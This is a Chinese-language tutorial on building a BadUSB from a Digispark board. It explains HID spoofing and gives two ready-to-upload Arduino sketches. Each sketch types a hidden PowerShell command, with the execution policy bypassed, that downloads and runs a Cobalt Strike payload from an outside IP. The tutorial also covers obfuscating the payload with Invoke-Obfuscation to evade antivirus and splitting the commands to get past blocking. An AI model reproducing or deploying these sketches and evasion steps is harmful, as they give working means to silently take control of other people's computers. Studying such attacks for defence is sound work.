badusb介绍
BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID(Human InterfaceDevice)设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。
BadUsb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
恶意代码存在于U盘的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法防御BadUSB的攻击。
badusb原理
主机是通过设备固件中的某些描述符来判断USB哪种设备的。这就意味着我们可以利用此漏洞将一些特殊的USB设备伪装成为其他任何设备,例如输入设备、网卡等等。
当插入USB设备后,主机驱动会向设备请求各种描述符来识别设备,为了把一个设备识别成HID类别,设备固件在定义描述符的时候必须遵守HID规约。
构成:
- 普通U盘一般都是由闪存(FLASH)和主控(MCU)构成,主控主要负责控制数据读写任务分配,闪存的话一般有一部分用来存放u盘固件(无法直接读取),其它部分用来进行读写和存储。
- BadUsb就是利用对u盘固件进行重新编程,将虚拟键盘输入转为协议约定的字节指令集成进固件中,让主机将usb识别为一块键盘,并执行事先编写好的虚拟键盘输入。
利用
CS马
使用Invoke-Obfuscation编码,简单做一下免杀:
进入Invoke-Obfuscation目录后,在PowerShell中执行命令
set scriptpath C:\Users\86153\Desktop\payload.ps1
encoding
6
out C:\Users\86153\Desktop\payload1.ps1
badusb环境
- 安装Arduino IDE
https://downloads.arduino.cc/arduino-1.8.16-windows.zip
下载完成后解压,打开exe
点击文件->首选项
在附加开发版管理器网址处添加 http://digistump.com/package_digistump_index.json
在工具->开发板:"Arduino Leonardo"->开发板管理器
找到 digistump avr boards进行下载
之后再开发板处选择digispark(default-16.5mhz)
- 安装驱动使用digistump drivers
链接:http://pan.baidu.com/s/1i4K10dn 密码:ilaf
如果是 64 位操作系统请选择 DPinst64.exe,否则选择 DPinst.exe.
至此环境配置结束
badusb制作
将代码贴至Arduino点击上传
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.111.252/payload.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
或者将打开powershell和执行命令分开(可以绕过一些拦截)
# include "DigiKeyboard.h"
# define KEY_ESC 41
# define KEY_BACKSPACE 42
# define KEY_TAB 43
# define KEY_PRT_SCR 70
# define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("powershell"))
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.print(F("IEX(New-Object Net.WebClient).DownloadString('http://123.207.101.205:8000/cs.ps1');"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
出现如下图,插上我们准备的badusb
直至出现thank you,此时我们的badusb就已经做好了
测试
插上badusb后发现我们的cs上线
参考
https://www.freebuf.com/articles/system/292358.html